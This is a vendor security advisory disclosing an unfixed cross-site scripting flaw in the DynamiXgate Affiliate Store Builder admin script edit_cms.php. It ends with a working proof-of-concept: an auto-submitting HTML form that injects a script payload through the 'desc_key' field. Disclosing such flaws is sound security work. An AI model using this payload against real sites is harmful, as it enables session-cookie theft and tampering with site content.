Vulnerability ID: HTB22362 Reference: http://www.htbridge.ch/advisory/xss_in_dynamixgate.html Product: DynamiXgate Affiliate Store Builder Vendor: DynamiXgate Team Vulnerable Version: Current version at 2010, April Vendor Notification: 27 April 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/edit_cms.php" script to properly sanitize user-supplied input in "desc_key" and other variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following sample PoC is available: <form action='http://www.example.com/admin/edit_cms.php?page=1' name="frm" method='post' > <input name="title" type="hidden" value="Home"/> <input name="type" type="hidden" value="header"/> <input name="desc_meta" type="hidden" value="page+desc" /> <input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' /> <input name="cms_id" type="hidden" value="1" /> <input name="edit_page" type="hidden" value="Edit+Page" /> </form> <script> document.frm.submit(); </script>
